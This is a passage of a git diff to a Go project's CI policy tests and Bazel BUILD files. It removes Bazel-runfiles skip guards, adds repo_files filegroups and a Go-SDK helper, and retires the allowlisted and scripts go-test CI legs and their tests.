t.Errorf("cmd/bd:bd_embedded_test must run the race //cmd/bd:bd as BEADS_TEST_BD_BINARY:\n%s", rule) } conformance := risk.job(t, "test-embedded-conformance") @@ -5281,9 +5257,6 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { if len(want) < 4 { t.Fatalf("parsed only %v from pr-risk.yml %s conformance %q", want, partition, run) } - if os.Getenv("TEST_SRCDIR") != "" { - continue - } rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "internal/storage/embeddeddolt/BUILD.bazel"), target) for _, w := range append(want, `"BEADS_TEST_EMBEDDED_DOLT": "1"`, `"embedded"`) { if !strings.Contains(rule, w) { @@ -5350,11 +5323,9 @@ func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { t.Errorf("pure artifact start step does not contain %q:\n%s", required, start) } } - if os.Getenv("TEST_SRCDIR") == "" { - patch := readPolicyFile(t, sourceRepoRoot(t), "third_party/patches/gozstd_nocgo.patch") - if !strings.Contains(patch, "+func init() { panic(") { - t.Error("gozstd_nocgo.patch stubs no longer panic in init; a contaminated pure binary would start") - } + patch := readPolicyFile(t, sourceRepoRoot(t), "third_party/patches/gozstd_nocgo.patch") + if !strings.Contains(patch, "+func init() { panic(") { + t.Error("gozstd_nocgo.patch stubs no longer panic in init; a contaminated pure binary would start") } prWasm := pr.step(t, "Run js/wasm hook boundary").Run @@ -6568,9 +6539,6 @@ func TestReleaseWorkflowRestoresNoCache(t *testing.T) { // BUILD file or macro may mark a target flaky = True (Bazel retries those up // to three times by default). func TestBazelGatedLanesNeverRetryFlakyTests(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold no other package's BUILD files") - } root := sourceRepoRoot(t) retry := regexp.MustCompile(`flaky_test_attempts|runs_per_test_detects_flakes`) // Any flaky = other than a literal False/0 (a variable or macro @@ -6590,7 +6558,7 @@ func TestBazelGatedLanesNeverRetryFlakyTests(t *testing.T) { } return nil } - if d.Type()&os.ModeSymlink != 0 { + if !isFileOrFileLink(path, d) { return nil // bazel-* convenience symlinks } base := d.Name() @@ -6622,7 +6590,8 @@ func TestBazelGatedLanesNeverRetryFlakyTests(t *testing.T) { if err != nil { t.Fatal(err) } - if checked < 10 { + // Every BUILD file: a walk that sees fewer is not looking at the tree. + if checked < 100 { t.Fatalf("checked only %d files; is the repository root right?", checked) } } @@ -6724,9 +6693,6 @@ func TestBazelCmdDoltJob(t *testing.T) { // The target: the dolt-server rules (local backend, fail closed, remote), // the integration build's bd_test with no test selection, every env // bd_test's own go_test sets, and the 4-vCPU runner shape. - if os.Getenv("TEST_SRCDIR") != "" { - return // scripts_test's runfiles hold no other package's BUILD - } build := readPolicyFile(t, sourceRepoRoot(t), "cmd/bd/BUILD.bazel") var rule, bdTest string for _, r := range bazelTopRules(stripStarlarkComments(build)) { diff --git a/scripts/embedded_shard_count_test.go b/scripts/embedded_shard_count_test.go index ebe26c5b4..3af9b1469 100644 --- a/scripts/embedded_shard_count_test.go +++ b/scripts/embedded_shard_count_test.go @@ -1,7 +1,6 @@ package scripts_test import ( - "os" "os/exec" "regexp" "strconv" @@ -20,17 +19,9 @@ var shardCountPattern = regexp.MustCompile(`(?m)^ shard_count = (\d+),$`) // longer has to equal PR Risk's/main.yml's legacy "Test (Embedded Dolt Cmd // N/20)" fork/push jobs' matrix size — mirrors bazelProxiedShardCount (F2; // see that function's doc comment in scripts/ci_workflow_test.go for the -// shared rationale, not repeated here). Under `bazel test`, scripts_test's -// runfiles hold no other package's BUILD file, so this falls back to the -// literal TestBazelRetiredLanesCheckListedTestsRan pins under plain `go -// test` for //cmd/bd:bd_embedded_test; that test fails if cmd/bd/BUILD.bazel's -// shard_count ever drifts from this fallback. +// shared rationale, not repeated here). func bazelEmbeddedCmdShardCount(t *testing.T) int { t.Helper() - const bazelTestFallback = 50 - if os.Getenv("TEST_SRCDIR") != "" { - return bazelTestFallback - } root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_embedded_test") m := shardCountPattern.FindStringSubmatch(rule) @@ -53,10 +44,6 @@ func bazelEmbeddedCmdShardCount(t *testing.T) int { // bazelEmbeddedCmdShardCount above; see its doc comment. func bazelEmbeddedStorageShardCount(t *testing.T) int { t.Helper() - const bazelTestFallback = 15 - if os.Getenv("TEST_SRCDIR") != "" { - return bazelTestFallback - } root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, "internal/storage/embeddeddolt/BUILD.bazel"), "embeddeddolt_embedded_test") m := shardCountPattern.FindStringSubmatch(rule) @@ -86,13 +73,7 @@ func bazelEmbeddedStorageShardCount(t *testing.T) int { // expected to report "missing" entries by design (see those generators' // module docstrings) and is not what this test runs. func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold neither the generator's sources nor cmd/bd") - } - python, err := exec.LookPath("python3") - if err != nil { - t.Skip("python3 not available") - } + python := requireHostTool(t, "python3") root := sourceRepoRoot(t) shards := strconv.Itoa(bazelEmbeddedCmdShardCount(t)) cmd := exec.Command(python, "scripts/ci/gen_embedded_cmd_shard_manifest.py", shards, "--weights=duration", "--check") @@ -106,13 +87,7 @@ func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { // TestCmdEmbeddedShardManifestGeneratorNotStale above for the storage tier's // Bazel-only 15-shard block; see that test's doc comment. func TestStorageEmbeddedShardManifestGeneratorNotStale(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold neither the generator's sources nor cmd/bd") - } - python, err := exec.LookPath("python3") - if err != nil { - t.Skip("python3 not available") - } + python := requireHostTool(t, "python3") root := sourceRepoRoot(t) shards := strconv.Itoa(bazelEmbeddedStorageShardCount(t)) cmd := exec.Command(python, "scripts/ci/gen_embedded_storage_shard_manifest.py", shards, "--weights=duration", "--check") diff --git a/scripts/gitattributespolicy/BUILD.bazel b/scripts/gitattributespolicy/BUILD.bazel index 20f299fff..cfe8b8098 100644 --- a/scripts/gitattributespolicy/BUILD.bazel +++ b/scripts/gitattributespolicy/BUILD.bazel @@ -9,3 +9,25 @@ go_test( ], data = ["//:.gitattributes"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/host_tools_test.go b/scripts/host_tools_test.go index 76b0874d3..0c498194b 100644 --- a/scripts/host_tools_test.go +++ b/scripts/host_tools_test.go @@ -9,13 +9,13 @@ import ( // skipOrFailWithoutHostTool handles a missing host tool. Under go test the // test skips, as it always has. Under Bazel it fails: //scripts:scripts_test -// is tagged host-tools, which promises git, python3, bash and friends on the -// host that runs it, so a skip there would hide a host that breaks that promise -// behind a green result. +// relies on the executor's bash, git, python3 and friends (the rbe-west +// worker image, or the runner in fork-cache mode), so a skip there would +// hide an executor that lacks one behind a green, cacheable result. func skipOrFailWithoutHostTool(t *testing.T, format string, args ...any) { t.Helper() if bazeltest.IsBazel() { - t.Fatalf("host-tools target: "+format, args...) + t.Fatalf("executor lacks a host tool: "+format, args...) } t.Skipf(format, args...) } @@ -30,3 +30,18 @@ func requireHostTool(t *testing.T, name string) string { } return path } + +// testGo returns the go binary to run. Under Bazel that is the registered Go +// SDK (BUILD data, BEADS_TEST_GO), which is go.mod's toolchain: the go on the +// executor's PATH may be another release. +func testGo(t *testing.T) string { + t.Helper() + if bazeltest.IsBazel() { + path, err := bazeltest.RunfileEnv("BEADS_TEST_GO") + if err != nil { + t.Fatal(err) + } + return path + } + return requireHostTool(t, "go") +} diff --git a/scripts/internal/testbash/BUILD.bazel b/scripts/internal/testbash/BUILD.bazel index 8b8ebdb72..3e1ed3c72 100644 --- a/scripts/internal/testbash/BUILD.bazel +++ b/scripts/internal/testbash/BUILD.bazel @@ -20,3 +20,25 @@ go_test( ], embed = [":testbash"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/migration-test/catalog/BUILD.bazel b/scripts/migration-test/catalog/BUILD.bazel index 32d105fe8..70e66d75a 100644 --- a/scripts/migration-test/catalog/BUILD.bazel +++ b/scripts/migration-test/catalog/BUILD.bazel @@ -19,3 +19,25 @@ go_test( data = ["//scripts:migration-test/release-catalog.json"], embed = [":catalog_lib"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/pr-lint/BUILD.bazel b/scripts/pr-lint/BUILD.bazel index 86bf04c89..906740444 100644 --- a/scripts/pr-lint/BUILD.bazel +++ b/scripts/pr-lint/BUILD.bazel @@ -20,3 +20,25 @@ go_test( embed = [":pr-lint_lib"], deps = ["//internal/testutil/bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index fedfccbcb..8abcbb6c6 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -21,15 +21,13 @@ import ( // TestPRRiskDecisionMatchesBazelMode). Everything the retired jobs did // besides those tests keeps running on every PR: the package gates take the // Bazel-built bd, the Dolt server fingerprint has its own job, and -// scripts-go-checks runs `go test ./scripts/...`, go test's vet checks and -// the Go tests the Bazel lane does not run or skips (equivalence allowlist). +// scripts-go-checks runs go test's vet checks. const ( // The legacy jobs' if: not covered. prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" prFingerprintJob = "test-dolt-server-fingerprint" prFingerprintID = "TEST_DOLT_SERVER_FINGERPRINT" - prAllowlistedStep = "Run the Go tests the Bazel lane skips" prScriptsChecksJob = "scripts-go-checks" prScriptsChecksID = "SCRIPTS_GO_CHECKS" // bazel.yml's lanes for the step add --config=sole-run whenever they @@ -592,12 +590,12 @@ func TestPRDoltServerFingerprintRunsOnEveryPR(t *testing.T) { } } -// PR Core's duties the Bazel lanes do not take over run on every PR, in -// pr.yml's required scripts-go-checks job (PR Core's environment): `go test -// ./scripts/...` with PR Core's flags (the policy tests, some of which check -// part or all of their rules under go test only), go test's vet checks over -// ./... (rules_go's go_test runs none), and the Go tests Bazel does not run -// or skips (tools/bazel/equivalence_allowlist.txt), each required to pass. +// PR Core's one duty the Bazel lanes do not take over runs on every PR, in +// pr.yml's required scripts-go-checks job: go test's vet checks over ./... +// (rules_go's go_test runs none). The repository policy tests and the Go +// tests that walk the checkout run under Bazel (//scripts:scripts_test and +// //test/docsync over //:repo_files), so no workflow runs `go test` over +// ./scripts/... or the equivalence allowlist any more. func TestPRRunsGoTestsBazelSkips(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") job := pr.job(t, prScriptsChecksJob) @@ -607,12 +605,7 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { t.Errorf("%s: if %q, continue-on-error %v, needs %v, runs-on %q, timeout %d; want an unconditional same-repo-Blacksmith job with a timeout", prScriptsChecksJob, job.If, job.ContinueOnError, job.Needs, job.RunsOn, job.TimeoutMinutes) } - // F5.3: three legs behind matrix.check, not fail-fast (a vet regression - // must not hide an allowlisted regression, or vice versa). - if job.Strategy.FailFast { - t.Errorf("%s strategy.fail-fast = true, want false", prScriptsChecksJob) - } - if want := []string{"scripts-test", "vet", "allowlisted"}; !equalStrings(job.Strategy.Matrix.Check, want) { + if want := []string{"vet"}; !equalStrings(job.Strategy.Matrix.Check, want) { t.Errorf("%s matrix.check = %v, want %v", prScriptsChecksJob, job.Strategy.Matrix.Check, want) } var names []string @@ -622,50 +615,14 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { t.Errorf("%s step %q has continue-on-error", prScriptsChecksJob, st.Name) } } - wantNames := []string{"", "Set up Go", "Restore Go module cache", "Restore race Go build cache", "Restore vet Go build cache", - "Restore non-race Go build cache", "Install Dolt", "Configure Git and Dolt identity", "Go test the scripts packages", - "Go vet with go test's checks", prAllowlistedStep} + wantNames := []string{"", "Set up Go", "Restore Go module cache", "Restore vet Go build cache", "Go vet with go test's checks"} if !reflect.DeepEqual(names, wantNames) { t.Errorf("%s steps %q, want %q", prScriptsChecksJob, names, wantNames) } - // The environment PR Core's job gives its go test (the race leg's cache - // restore and Dolt setup stay byte-for-byte the same as pr-core-wrapper's). - core := pr.job(t, "pr-core-wrapper") - for _, name := range []string{"Install Dolt", "Configure Git and Dolt identity", "Restore race Go build cache"} { - if got, want := job.step(t, name), core.step(t, name); got.Run != want.Run || !reflect.DeepEqual(got.With, want.With) || got.Uses != want.Uses { - t.Errorf("%s step %q differs from pr-core-wrapper's", prScriptsChecksJob, name) - } - } - legIf := func(checks ...string) string { - parts := make([]string, len(checks)) - for i, c := range checks { - parts[i] = "matrix.check == '" + c + "'" - } - return strings.Join(parts, " || ") - } - // Dolt is only needed by the legs that use it; the vet leg skips it. - for _, name := range []string{"Install Dolt", "Configure Git and Dolt identity"} { - if got, want := job.step(t, name).If, legIf("scripts-test", "allowlisted"); got != want { - t.Errorf("%s step %q if = %q, want %q", prScriptsChecksJob, name, got, want) - } - } - for name, want := range map[string]struct { - run, ifc string - env map[string]string - }{ - "Go test the scripts packages": {"bash scripts/ci/scripts-go-test.sh", legIf("scripts-test"), map[string]string{ - "BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION": "1", "GOCACHE": "${{ runner.temp }}/go-cache/race"}}, - "Go vet with go test's checks": {"bash scripts/ci/go-test-vet.sh", - "${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'vet' }}", - map[string]string{"GOCACHE": "${{ runner.temp }}/go-cache/vet"}}, - prAllowlistedStep: {"bash scripts/ci/allowlisted-go-tests.sh", - "${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'allowlisted' }}", - map[string]string{"GOCACHE": "${{ runner.temp }}/go-cache/non-race"}}, - } { - st := job.step(t, name) - if st.Run != want.run || st.If != want.ifc || st.Shell != "" || (len(st.Env) != 0 || len(want.env) != 0) && !reflect.DeepEqual(st.Env, want.env) { - t.Errorf("%s step %q: run %q, if %q, shell %q, env %v; want run %q, if %q, env %v", prScriptsChecksJob, name, st.Run, st.If, st.Shell, st.Env, want.run, want.ifc, want.env) - } + st := job.step(t, "Go vet with go test's checks") + if want := "bash scripts/ci/go-test-vet.sh"; st.Run != want || st.If != "${{ !cancelled() && steps.setup-go.outcome == 'success' && matrix.check == 'vet' }}" || + !reflect.DeepEqual(st.Env, map[string]string{"GOCACHE": "${{ runner.temp }}/go-cache/vet"}) { + t.Errorf("%s vet step: run %q, if %q, env %v", prScriptsChecksJob, st.Run, st.If, st.Env) } gate := pr.job(t, "ci-gate") env := gate.step(t, "Evaluate CI gate").Env @@ -673,109 +630,88 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { !contains(strings.Fields(env["CI_GATE_REQUIRED"]), prScriptsChecksID) { t.Errorf("ci-gate does not require %s", prScriptsChecksID) } - // Nothing else in pr.yml runs these (one place to look). + // Nothing else in pr.yml runs go-test-vet.sh, and no workflow brings back + // a go test of the scripts packages or of the allowlist (they run under + // Bazel). for name, j := range pr.Jobs { for _, st := range j.Steps { - for _, script := range []string{"allowlisted-go-tests.sh", "scripts-go-test.sh", "go-test-vet.sh"} { - if strings.Contains(st.Run, script) && name != prScriptsChecksJob { - t.Errorf("%s step %q runs %s; only %s does", name, st.Name, script, prScriptsChecksJob) + if strings.Contains(st.Run, "go-test-vet.sh") && name != prScriptsChecksJob { + t.Errorf("%s step %q runs go-test-vet.sh; only %s does", name, st.Name, prScriptsChecksJob) + } + } + } + retired := regexp.MustCompile(`allowlisted-go-tests\.sh|scripts-go-test\.sh|run_allowlisted_go_tests\.py|go test[^\n]* \./scripts/\.\.\.`) + for _, wf := range []string{"pr.yml", "main.yml", "nightly.yml", "pr-risk.yml", bazelWorkflowName} { + for name, j := range readCIWorkflow(t, wf).Jobs { + for _, st := range j.Steps { + // A compile-only cache warm (-run '^$') runs no test. + if m := retired.FindString(st.Run); m != "" && !strings.Contains(m, "-run '^$'") { + t.Errorf("%s %s step %q runs %q; the scripts packages and the allowlisted tests run under Bazel", wf, name, st.Name, m) } } } } // main.yml's push-only go-vet-cache job (F5.3) is the one explicit // exception: it warms the vet cache pr.yml's vet leg restores, and - // nothing else in main.yml may run these scripts either. + // nothing else in main.yml may run go-test-vet.sh either. for name, j := range readCIWorkflow(t, "main.yml").Jobs { for _, st := range j.Steps { - for _, script := range []string{"allowlisted-go-tests.sh", "scripts-go-test.sh", "go-test-vet.sh"} { - if strings.Contains(st.Run, script) && name != "go-vet-cache" { - t.Errorf("main.yml %s step %q runs %s; only go-vet-cache may (go-test-vet.sh)", name, st.Name, script) - } + if strings.Contains(st.Run, "go-test-vet.sh") && name != "go-vet-cache" { + t.Errorf("main.yml %s step %q runs go-test-vet.sh; only go-vet-cache may", name, st.Name) } } } if got := readCIWorkflow(t, "main.yml").job(t, "go-vet-cache").step(t, "Go vet with go test's checks").Run; got != "bash scripts/ci/go-test-vet.sh" { t.Errorf("main.yml go-vet-cache does not run go-test-vet.sh: %q", got) } - if os.Getenv("TEST_SRCDIR") != "" { - return // scripts_test's runfiles hold none of the scripts (this part runs in that job itself) - } root := sourceRepoRoot(t) + for _, gone := range []string{"scripts/ci/allowlisted-go-tests.sh", "scripts/ci/scripts-go-test.sh", "tools/bazel/run_allowlisted_go_tests.py"} { + if _, err := os.Stat(filepath.Join(root, filepath.FromSlash(gone))); err == nil { + t.Errorf("%s is back; the tests it ran under go test run under Bazel", gone) + } + } prelude := []string{ "set -euo pipefail", `SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"`, `REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"`, `source "$REPO_ROOT/.buildflags"`, + `source "$REPO_ROOT/scripts/ci/lib/timing.sh"`, + `cd "$REPO_ROOT"`, + "GO_TEST_VET_FLAGS=(" + strings.Join(goTestDefaultVetFlags(t), " ") + ")", + `ci_time "go vet (go test's checks)" -- \`, + `go vet -tags gms_pure_go "${GO_TEST_VET_FLAGS[@]}" ./...`, } - for script, rest := range map[string][]string{ - "scripts/ci/allowlisted-go-tests.sh": { - `source "$REPO_ROOT/scripts/ci/lib/test-env.sh"`, - `cd "$REPO_ROOT"`, - "beads_test_env_enter", - "export BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1", - `python3 tools/bazel/run_allowlisted_go_tests.py "$@"`, - }, - "scripts/ci/scripts-go-test.sh": { - `source "$REPO_ROOT/scripts/ci/lib/timing.sh"`, - `source "$REPO_ROOT/scripts/ci/lib/test-env.sh"`, - `cd "$REPO_ROOT"`, - "beads_test_env_enter", - `ci_time "scripts go test" -- \`, - `go test -p 4 -parallel 4 -race -short -timeout=30m -skip '^TestEmbedded' ./scripts/...`, - }, - "scripts/ci/go-test-vet.sh": { - `source "$REPO_ROOT/scripts/ci/lib/timing.sh"`, - `cd "$REPO_ROOT"`, - "GO_TEST_VET_FLAGS=(" + strings.Join(goTestDefaultVetFlags(t), " ") + ")", - `ci_time "go vet (go test's checks)" -- \`, - `go vet -tags gms_pure_go "${GO_TEST_VET_FLAGS[@]}" ./...`, - }, - } { - var code []string - for _, line := range strings.Split(readPolicyFile(t, root, script), "\n") { - if l := strings.TrimSpace(line); l != "" && !strings.HasPrefix(l, "#") { - code = append(code, l) - } - } - if want := append(append([]string{}, prelude...), rest...); !reflect.DeepEqual(code, want) { - t.Errorf("%s code changed:\n%s\nwant:\n%s", script, strings.Join(code, "\n"), strings.Join(want, "\n")) + var code []string + for _, line := range strings.Split(readPolicyFile(t, root, "scripts/ci/go-test-vet.sh"), "\n") { + if l := strings.TrimSpace(line); l != "" && !strings.HasPrefix(l, "#") { + code = append(code, l) } } - // PR Core's own test command: the scripts step must keep its flags. - if core := readPolicyFile(t, root, "scripts/ci/pr-core.sh"); !strings.Contains(core, - `go_test -p "$GO_TEST_PKG_PARALLEL" -parallel "$GO_TEST_PARALLEL" -race -short -timeout=30m -skip '^TestEmbedded' ./...`) { - t.Errorf("scripts/ci/pr-core.sh's go test changed; keep scripts/ci/scripts-go-test.sh's flags equal to it") - } - - // The real allowlist plans: every entry maps to a package go test runs. - python := requireHostTool(t, "python3") - runner := filepath.Join(root, "tools", "bazel", "run_allowlisted_go_tests.py") - out, err := exec.Command(python, runner, "--dry-run").CombinedOutput() - if err != nil { - t.Fatalf("dry run of the real allowlist: %v\n%s", err, out) + if !reflect.DeepEqual(code, prelude) { + t.Errorf("scripts/ci/go-test-vet.sh code changed:\n%s\nwant:\n%s", strings.Join(code, "\n"), strings.Join(prelude, "\n")) } + // The allowlist's remaining skip entries run in pr-preflight-platforms + // (every OS), each named in its go test selector. + fallback := pr.job(t, "pr-preflight-platforms").step(t, "Exercise go test's bd build fallback").Run for _, line := range strings.Split(readPolicyFile(t, root, "tools/bazel/equivalence_allowlist.txt"), "\n") { body, _, _ := strings.Cut(line, "#") f := strings.Fields(body) if len(f) == 0 { continue } - if !strings.Contains(string(out), " ./"+f[0]+"\n") { - t.Errorf("allowlist entry %q: no go test of ./%s planned:\n%s", line, f[0], out) - } - if f[1] != "*" && !strings.Contains(string(out), regexp.QuoteMeta(strings.TrimSuffix(f[1], "*"))) { - t.Errorf("allowlist entry %q: not selected:\n%s", line, out) + if len(f) != 3 || f[0] != "cmd/bd" || f[2] != "skip" || !strings.Contains(fallback, f[1]) || !strings.HasSuffix(fallback, " ./cmd/bd") { + t.Errorf("allowlist entry %q is not a cmd/bd skip run by pr-preflight-platforms' bd build fallback step (%q)", line, fallback) } } } -// goTestDefaultVetFlags: the vet checks the Go toolchain running this test -// gives `go test` (cmd/go's defaultVetFlags), read from its source, so a Go -// upgrade that changes them fails here until go-test-vet.sh follows. +// goTestDefaultVetFlags: the vet checks go.mod's Go toolchain gives `go test` +// (cmd/go's defaultVetFlags), read from its source, so a Go upgrade that +// changes them fails here until go-test-vet.sh follows. Under Bazel the +// toolchain is the registered SDK (testGo). func goTestDefaultVetFlags(t *testing.T) []string { t.Helper() - goroot, err := exec.Command(requireHostTool(t, "go"), "env", "GOROOT").Output() + goroot, err := exec.Command(testGo(t), "env", "GOROOT").Output() if err != nil { t.Fatal(err) } @@ -801,92 +737,6 @@ func goTestDefaultVetFlags(t *testing.T) []string { return flags } -// run_allowlisted_go_tests.py on a synthetic allowlist and a fake go that -// reports given results: every entry must match a test that ran and passed. -func TestRunAllowlistedGoTestsScript(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold no tools/bazel Python") - } - requireHostTool(t, "bash") - python := requireHostTool(t, "python3") - runner := filepath.Join(sourceRepoRoot(t), "tools", "bazel", "run_allowlisted_go_tests.py") - dir := t.TempDir() - fakeGo := filepath.Join(dir, "go") - // Emits one top-level event per FAKE_="Test:action ..." pair and - // records its arguments; exits FAKE_RC. - if err := os.WriteFile(fakeGo, []byte(`#!/usr/bin/env bash -echo "$*" >> "$FAKE_LOG" -pkg="${!#}"; key="FAKE_$(printf '%s' "${pkg#./}" | tr -c 'A-Za-z0-9' '_')" -for pair in ${!key}; do - printf '{"Action":"%s","Package":"x","Test":"%s"}\n' "${pair#*:}" "${pair%%:*}" -done -exit "${FAKE_RC:-0}" -`), 0o755); err != nil { - t.Fatal(err) - } - allow := filepath.Join(dir, "allow.txt") - if err := os.WriteFile(allow, []byte(`# comment -cmd/bd TestZZStdioNotLeaked skip # needs its baseline -scripts TestA skip # why -scripts TestGlob* skip # why -`), 0o644); err != nil { - t.Fatal(err) - } - run := func(env ...string) (string, error) { - log := filepath.Join(dir, "log") - _ = os.Remove(log) - cmd := exec.Command(python, runner, "--allowlist", allow, "--go", fakeGo) - cmd.Env = append(os.Environ(), append([]string{"FAKE_LOG=" + log}, env...)...) - out, err := cmd.CombinedOutput() - args, _ := os.ReadFile(log) - return string(out) + "\nARGS:\n" + string(args), err - } - good := []string{ - "FAKE_cmd_bd=TestAAAStdioBaseline:pass TestZZStdioNotLeaked:pass", - "FAKE_scripts=TestA:pass TestGlobOne:pass TestGlobTwo:pass", - } - out, err := run(good...) - if err != nil { - t.Fatalf("all passed: %v\n%s", err, out) - } - for _, want := range []string{ - "-run ^(TestAAAStdioBaseline|TestZZStdioNotLeaked)$ ./cmd/bd", - "-run ^(TestA|TestGlob.*)$ ./scripts", - "test -json -short -count=1 -timeout=30m -skip ^TestEmbedded -tags gms_pure_go", - } { - if !strings.Contains(out, want) { - t.Errorf("go invocations lack %q:\n%s", want, out) - } - } - for name, env := range map[string][]string{ - "entry skipped": {good[0], "FAKE_scripts=TestA:skip TestGlobOne:pass"}, - "glob member skipped": {good[0], "FAKE_scripts=TestA:pass TestGlobOne:pass TestGlobTwo:skip"}, - "entry missing": {good[0], "FAKE_scripts=TestGlobOne:pass"}, - "glob matched none": {good[0], "FAKE_scripts=TestA:pass"}, - "companion only": {"FAKE_cmd_bd=TestAAAStdioBaseline:pass", good[1]}, - "other test failed": {good[0], good[1] + " TestOther:fail"}, - "go test failed": append([]string{"FAKE_RC=1"}, good...), - "package not run": {good[1]}, - } { - if out, err := run(env...); err == nil { - t.Errorf("%s: runner passed:\n%s", name, out) - } - } - // Entries it cannot run. - for name, body := range map[string]string{ - "package glob": "cmd/* TestX skip # why\n", - "bad name": "scripts Test(X) skip # why\n", - "no reason": "scripts TestX skip\n", - } { - if err := os.WriteFile(allow, []byte(body), 0o644); err != nil { - t.Fatal(err) - } - if out, err := run(good...); err == nil { - t.Errorf("%s: runner accepted the allowlist:\n%s", name, out) - } - } -} - // bazel.yml's step-3 lanes: in mode remote (always, on covered PRs) every // `bazel test` adds --config=sole-run, whose lines are exactly no cached // test results and no whole-invocation retry after a remote cache eviction; diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 90106e551..0fc4c84e8 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -1204,9 +1204,6 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { // check_shard_coverage.py itself, on a synthetic BEP, test.xml files and // shard script. func TestCheckShardCoverageScript(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold no tools/bazel Python") - } requireHostTool(t, "bash") python := requireHostTool(t, "python3") script := filepath.Join(sourceRepoRoot(t), "tools", "bazel", "check_shard_coverage.py") @@ -1371,9 +1368,6 @@ esac // must really not be a test (TestMain takes *testing.M). Otherwise the // checker reports a listed test that "did not run" on every real run. func TestShardScriptsListOnlyRealTests(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold neither the shard scripts' sources nor tools/bazel") - } // The CI shard scripts use bash 4 associative arrays (Linux runners only). requireAutofixBash(t) root := sourceRepoRoot(t) @@ -1550,13 +1544,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { // .github/scripts/proxied-cmd-test-shards.txt and engdocs/TESTING.md), so a // --check against it would always fail by design. func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold neither the generator's sources nor cmd/bd") - } - python, err := exec.LookPath("python3") - if err != nil { - t.Skip("python3 not available") - } + python := requireHostTool(t, "python3") root := sourceRepoRoot(t) cmd := exec.Command(python, "scripts/ci/gen_proxied_shard_manifest.py", "30", "--weights=duration", "--check") cmd.Dir = root @@ -1666,49 +1654,39 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // Committed rc files: only .bazelrc. .bazelrc.local and user.bazelrc are // developer-local (gitignored) and would be try-imported into CI runs. - if os.Getenv("TEST_SRCDIR") == "" { - if git, err := exec.LookPath("git"); err == nil { - out, err := exec.Command(git, "-C", root, "ls-files").Output() - if err != nil { - t.Fatal(err) - } - for _, f := range strings.Split(strings.TrimSpace(string(out)), "\n") { - base := filepath.Base(f) - if strings.Contains(base, "bazelrc") && f != ".bazelrc" && f != setupBazelActionDir+"/write-bazelrc.sh" { - t.Errorf("committed rc file %s: .bazelrc's try-import would load it into every CI run", f) - } - } + for _, f := range repoFiles(t, root) { + base := filepath.Base(f) + if strings.Contains(base, "bazelrc") && f != ".bazelrc" && f != setupBazelActionDir+"/write-bazelrc.sh" { + t.Errorf("committed rc file %s: .bazelrc's try-import would load it into every CI run", f) } } // The scripts every lane's test runs under or through, and the whole // setup-bazel action (its generated rc 